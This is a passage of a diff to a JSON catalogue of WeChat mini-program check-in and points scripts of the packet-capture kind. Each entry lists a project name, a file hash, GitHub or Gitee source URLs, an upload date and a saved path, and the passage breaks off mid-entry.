"smallfawn/QLScriptPublic", + "source_path": "daily/gyjj.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/gyjj.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/gyjj.js", + "uploaded_at": "2026-04-08T12:04:40Z", + "saved_path": "脚本库/微信小程序/抓包版/国乐酱酒/2026-04-08_gyjj_89d63434.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "塔斯汀小程序签到", + "filename": "2026-05-14_tasiting_d32ead35.js", + "sha256": "d32ead35937ae6723c6872053340096b4a6f2beb7da4aabccef948835ccf9ca0", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/tasiting.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/tasiting.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/tasiting.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/塔斯汀小程序签到/2026-05-14_tasiting_d32ead35.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "塔斯汀汉堡", + "filename": "2025-06-03_tsthb_607a26fc.py", + "sha256": "607a26fc9478a54dc474d3b6af1fde04596f9b31ba62eb1824d0b55f3162ef6d", + "source_platform": "GitHub", + "source_repo": "jdqlscript/zyqinglong", + "source_path": "tsthb.py", + "source_url": "https://gitee.com/jdqlscript/zyqinglong/blob/main/tsthb.py", + "raw_url": "https://gitee.com/jdqlscript/zyqinglong/raw/main/tsthb.py", + "uploaded_at": "2025-06-03T12:08:50+08:00", + "saved_path": "脚本库/微信小程序/抓包版/塔斯汀汉堡/2025-06-03_tsthb_607a26fc.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "奇点积分", + "filename": "2025-06-28_奇点积分_a8391dc9.py", + "sha256": "a8391dc9e2d8cd9ec502d0e6806e3ce99971e248d03d00d13807e59e8a0e383c", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "奇点积分.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%A5%87%E7%82%B9%E7%A7%AF%E5%88%86.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%A5%87%E7%82%B9%E7%A7%AF%E5%88%86.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/奇点积分/2025-06-28_奇点积分_a8391dc9.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "好宝贝", + "filename": "2025-06-28_好宝贝_2194acca.py", + "sha256": "2194acca5f795b099cd512c9f7d04337b56c29bc30c88fa01e38276911af7df1", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "好宝贝.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%A5%BD%E5%AE%9D%E8%B4%9D.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%A5%BD%E5%AE%9D%E8%B4%9D.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/好宝贝/2025-06-28_好宝贝_2194acca.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "媓钻小程序", + "filename": "2025-06-28_媓钻小程序_85b516e6.js", + "sha256": "85b516e6722480c67d37d7e5060eacb32fab911bc1497ac16a1e453c3ae0e71d", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "媓钻小程序.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%AA%93%E9%92%BB%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%AA%93%E9%92%BB%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/媓钻小程序/2025-06-28_媓钻小程序_85b516e6.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "富士instax玩拍由我俱乐部", + "filename": "2025-06-28_富士instax玩拍由我俱乐部_41c9289f.js", + "sha256": "41c9289f9387758603acba6c6dbae3067a176dbe23fec03fa97c8458575d21cb", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "富士instax玩拍由我俱乐部.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%AF%8C%E5%A3%ABinstax%E7%8E%A9%E6%8B%8D%E7%94%B1%E6%88%91%E4%BF%B1%E4%B9%90%E9%83%A8.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%AF%8C%E5%A3%ABinstax%E7%8E%A9%E6%8B%8D%E7%94%B1%E6%88%91%E4%BF%B1%E4%B9%90%E9%83%A8.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/富士instax玩拍由我俱乐部/2025-06-28_富士instax玩拍由我俱乐部_41c9289f.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "小天鹅", + "filename": "2025-06-28_小天鹅_73a76dd9.py", + "sha256": "73a76dd9d2c0924196e2f94ca8e1011b8e70db0010a37d6e48820a079e6cee9d", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "小天鹅.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E5%A4%A9%E9%B9%85.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E5%A4%A9%E9%B9%85.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/小天鹅/2025-06-28_小天鹅_73a76dd9.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "小猴工具小程序", + "filename": "2025-06-28_小猴工具小程序_23314730.js", + "sha256": "233147302aa851148dfb5aba682d5cbd418b833a6102d89d969e6177da74a610", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "小猴工具小程序.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E7%8C%B4%E5%B7%A5%E5%85%B7%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E7%8C%B4%E5%B7%A5%E5%85%B7%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/小猴工具小程序/2025-06-28_小猴工具小程序_23314730.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "小米社区小程序签到", + "filename": "2025-06-28_小米社区小程序签到_3c6fe4df.py", + "sha256": "3c6fe4dfa4e8ed6ec83d117595336e599be3b579d2ce6bbacfcca434a94ec800", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "小米社区小程序签到.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E7%B1%B3%E7%A4%BE%E5%8C%BA%E5%B0%8F%E7%A8%8B%E5%BA%8F%E7%AD%BE%E5%88%B0.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E7%B1%B3%E7%A4%BE%E5%8C%BA%E5%B0%8F%E7%A8%8B%E5%BA%8F%E7%AD%BE%E5%88%B0.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/小米社区小程序签到/2025-06-28_小米社区小程序签到_3c6fe4df.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "屈臣氏", + "filename": "2025-08-25_qcs_ab94ff3b.js", + "sha256": "ab94ff3b2ee74d7196a373051f02b18694cfbb528b929f842c1d70b6d80e12e7", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/qcs.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/qcs.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/qcs.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/微信小程序/抓包版/屈臣氏/2025-08-25_qcs_ab94ff3b.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "巨量ip_Sign", + "filename": "2025-06-28_巨量ip_Sign_0fe9136c.py", + "sha256": "0fe9136c554fc34b8f6e1e10f96ac9096fbf27a419b6866e41c90285ab4cdf05", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "巨量ip_Sign.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%B7%A8%E9%87%8Fip_Sign.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%B7%A8%E9%87%8Fip_Sign.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/巨量ip_Sign/2025-06-28_巨量ip_Sign_0fe9136c.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "广汽丰田", + "filename": "2026-04-01_gqftbz_bb6ab4b5.js", + "sha256": "bb6ab4b50667970448a65072d2bc5d7bb542f9881aa47823602c338c2c579701", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "gqftbz.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/gqftbz.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/gqftbz.js", + "uploaded_at": "2026-04-01T11:27:33Z", + "saved_path": "脚本库/微信小程序/抓包版/广汽丰田/2026-04-01_gqftbz_bb6ab4b5.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "广汽传祺", + "filename": "2025-06-28_gacmotor_a6c7c219.js", + "sha256": "a6c7c21986254d8b1bb981deb2cc482d063e770eb4f0b3dcd57f724419cf5b9d", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "gacmotor.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/gacmotor.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/gacmotor.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/广汽传祺/2025-06-28_gacmotor_a6c7c219.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "康师傅畅饮社", + "filename": "2026-05-14_kangshifu_73bda636.js", + "sha256": "73bda6361b08e86509de8dbe3cd6c2439da54fac4a43d4c4fea1d8c5edc82c0e", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/kangshifu.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/kangshifu.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/kangshifu.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/康师傅畅饮社/2026-05-14_kangshifu_73bda636.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "得物", + "filename": "2025-06-28_得无开源_d10a36e3.js", + "sha256": "d10a36e3bce740fda3d426f6787830dc5d82f20ed3f6f6e5b8d83028ec3ae80b", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "得无开源.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%BE%97%E6%97%A0%E5%BC%80%E6%BA%90.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%BE%97%E6%97%A0%E5%BC%80%E6%BA%90.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/得物/2025-06-28_得无开源_d10a36e3.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "得物0元抽", + "filename": "2026-04-08_dw_643756c6.js", + "sha256": "643756c628cc298d1afacd86d11cb0f35889ab3d2203212a9ac4486e354f3569", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/dw.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/dw.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/dw.js", + "uploaded_at": "2026-04-08T12:04:40Z", + "saved_path": "脚本库/微信小程序/抓包版/得物0元抽/2026-04-08_dw_643756c6.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "微信小程序_-_美的会员", + "filename": "2026-04-01_wx_midea_2ea2d16b.js", + "sha256": "2ea2d16b2578d749c3e773114a2a65fd24ef25f054c036c8fac26fddf446d52a", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/wx_midea.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/wx_midea.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/wx_midea.js", + "uploaded_at": "2026-04-01T11:27:33Z", + "saved_path": "脚本库/微信小程序/抓包版/微信小程序_-_美的会员/2026-04-01_wx_midea_2ea2d16b.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "微信小程序虔金E站", + "filename": "2025-06-28_微信小程序虔金E站_e1e429fa.js", + "sha256": "e1e429fad49d3ca582abe7eaf2f060325d2147c534f593c66313798be2843660", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "微信小程序虔金E站.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E8%99%94%E9%87%91E%E7%AB%99.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E8%99%94%E9%87%91E%E7%AB%99.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/微信小程序虔金E站/2025-06-28_微信小程序虔金E站_e1e429fa.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "心喜小程序", + "filename": "2026-05-14_xinxi_97216722.js", + "sha256": "97216722edf50cf917686fcbc51d42b0f4a87165b6eeac508fa3ba0573156830", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/xinxi.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/xinxi.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/xinxi.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/心喜小程序/2026-05-14_xinxi_97216722.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "快手养号", @@ -1391,6 +4815,54 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "慕思", + "filename": "2025-06-28_慕思_3ee7b04e.js", + "sha256": "3ee7b04e8bd10005837a4a9d2f2108fe22c21a288ff2eb9774750c652c0c283f", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "慕思.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%85%95%E6%80%9D.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%85%95%E6%80%9D.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/慕思/2025-06-28_慕思_3ee7b04e.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "慕斯小程序签到", + "filename": "2026-05-14_musi_42ce9bc0.js", + "sha256": "42ce9bc08cbded73578a5fe72b5aab0010573d1d627a78d13241fc35d8c0599c", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/musi.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/musi.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/musi.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/慕斯小程序签到/2026-05-14_musi_42ce9bc0.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "所有女生会员中心", + "filename": "2025-06-28_所有女生小程序_a6033b11.js", + "sha256": "a6033b11f7c454dfe0d05787297d516e942a4777e10bf3258940fd1b548666c5", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "所有女生小程序.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%89%80%E6%9C%89%E5%A5%B3%E7%94%9F%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%89%80%E6%9C%89%E5%A5%B3%E7%94%9F%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/所有女生会员中心/2025-06-28_所有女生小程序_a6033b11.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "掌瓦每日商店推送", @@ -1439,6 +4911,70 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "植白说小程序", + "filename": "2026-04-09_zbs_478003ec.js", + "sha256": "478003ec8662f7437e94cebaf197f25ec6f0075b14d6588b881b713a003252ba", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/zbs.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/zbs.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/zbs.js", + "uploaded_at": "2026-04-09T11:12:26Z", + "saved_path": "脚本库/微信小程序/抓包版/植白说小程序/2026-04-09_zbs_478003ec.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "欢太商城", + "filename": "2025-06-28_欢太商城_2cc34369.py", + "sha256": "2cc34369f14bd3d325e4315947427cb7388d52cb812c3295e97f9f3b35f1cd04", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "欢太商城.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%AC%A2%E5%A4%AA%E5%95%86%E5%9F%8E.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%AC%A2%E5%A4%AA%E5%95%86%E5%9F%8E.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/欢太商城/2025-06-28_欢太商城_2cc34369.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "波司登小程序", + "filename": "2025-06-28_波司登_8f296880.js", + "sha256": "8f296880e5285cf15f4f1e06bf81da594b953ef6a16466a6ac951ed1c8de187f", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "波司登.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%B3%A2%E5%8F%B8%E7%99%BB.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%B3%A2%E5%8F%B8%E7%99%BB.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/波司登小程序/2025-06-28_波司登_8f296880.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "活力伊利小程序", + "filename": "2026-05-14_hlyl_eaf5ac9b.js", + "sha256": "eaf5ac9bd01b8550cc46d6fcdf737b8d573b931e3ed4454633a00a0ad9657066", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/hlyl.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hlyl.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hlyl.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/活力伊利小程序/2026-05-14_hlyl_eaf5ac9b.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "浓五的酒馆", @@ -1455,6 +4991,102 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "浓五的酒馆", + "filename": "2026-05-14_nwdjg_6f50bb3e.js", + "sha256": "6f50bb3ee6aff7cd15d364eeb32932ff1c7d808bbf1f0d64724df54708156411", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/nwdjg.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/nwdjg.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/nwdjg.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/浓五的酒馆/2026-05-14_nwdjg_6f50bb3e.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "海天美味馆小程序", + "filename": "2025-06-28_海天美味馆_ce5a14cb.js", + "sha256": "ce5a14cb4c6f738c04e461d43e1647c56f4a5fbb42b0fe0b9935c6ba256dce64", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "海天美味馆.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%B5%B7%E5%A4%A9%E7%BE%8E%E5%91%B3%E9%A6%86.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%B5%B7%E5%A4%A9%E7%BE%8E%E5%91%B3%E9%A6%86.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/海天美味馆小程序/2025-06-28_海天美味馆_ce5a14cb.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "海天美味馆小程序", + "filename": "2026-05-14_haitian_460af5d6.js", + "sha256": "460af5d6a725f21a69a7b73506b3433d530e587e5a185e036d8ec00966e9d66d", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/haitian.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/haitian.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/haitian.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/海天美味馆小程序/2026-05-14_haitian_460af5d6.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "海尔智家", + "filename": "2025-06-28_海尔_e0ba0d26.js", + "sha256": "e0ba0d268144ddc95a136f4bc9e5ea67c910ee075fc23691a58de8624d50ec33", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "海尔.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%B5%B7%E5%B0%94.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%B5%B7%E5%B0%94.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/海尔智家/2025-06-28_海尔_e0ba0d26.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "海尔智家", + "filename": "2026-05-14_hezj_88376ece.js", + "sha256": "88376ece68c01e969233f3786f442391f0e8a3d566348985e3b6727240b5c972", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/hezj.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hezj.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hezj.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/海尔智家/2026-05-14_hezj_88376ece.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "海底捞", + "filename": "2026-04-07_hdl_6ef2ae22.js", + "sha256": "6ef2ae22c4aac78dc3761a274008d3d63cb0205bbfb195372c14e2be7979bd73", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/hdl.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hdl.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hdl.js", + "uploaded_at": "2026-04-07T12:21:56Z", + "saved_path": "脚本库/微信小程序/抓包版/海底捞/2026-04-07_hdl_6ef2ae22.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "海底捞签到", @@ -1503,6 +5135,150 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "滴滴果园", + "filename": "2025-06-28_滴滴果园_f54487a2.py", + "sha256": "f54487a2a26a6a04189dae8050cb3f3223750ff1b2be2eb8c26829f4dd0a5aff", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "滴滴果园.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%BB%B4%E6%BB%B4%E6%9E%9C%E5%9B%AD.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%BB%B4%E6%BB%B4%E6%9E%9C%E5%9B%AD.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/滴滴果园/2025-06-28_滴滴果园_f54487a2.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "滴滴果园大佬的我用不了", + "filename": "2025-06-03_ddgy_36740532.py", + "sha256": "36740532c38b244688d0b06ceacf83f91c2fec60cbf881ed501e891fe011b10a", + "source_platform": "GitHub", + "source_repo": "jdqlscript/zyqinglong", + "source_path": "ddgy.py", + "source_url": "https://gitee.com/jdqlscript/zyqinglong/blob/main/ddgy.py", + "raw_url": "https://gitee.com/jdqlscript/zyqinglong/raw/main/ddgy.py", + "uploaded_at": "2025-06-03T12:08:50+08:00", + "saved_path": "脚本库/微信小程序/抓包版/滴滴果园大佬的我用不了/2025-06-03_ddgy_36740532.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "潇洒桐庐", + "filename": "2025-06-28_潇洒桐庐_b94d00d2.js", + "sha256": "b94d00d23f43d90f679c206115b909001aa387fa441df682cc83630ecf42414c", + "source_platform": "GitHub", + 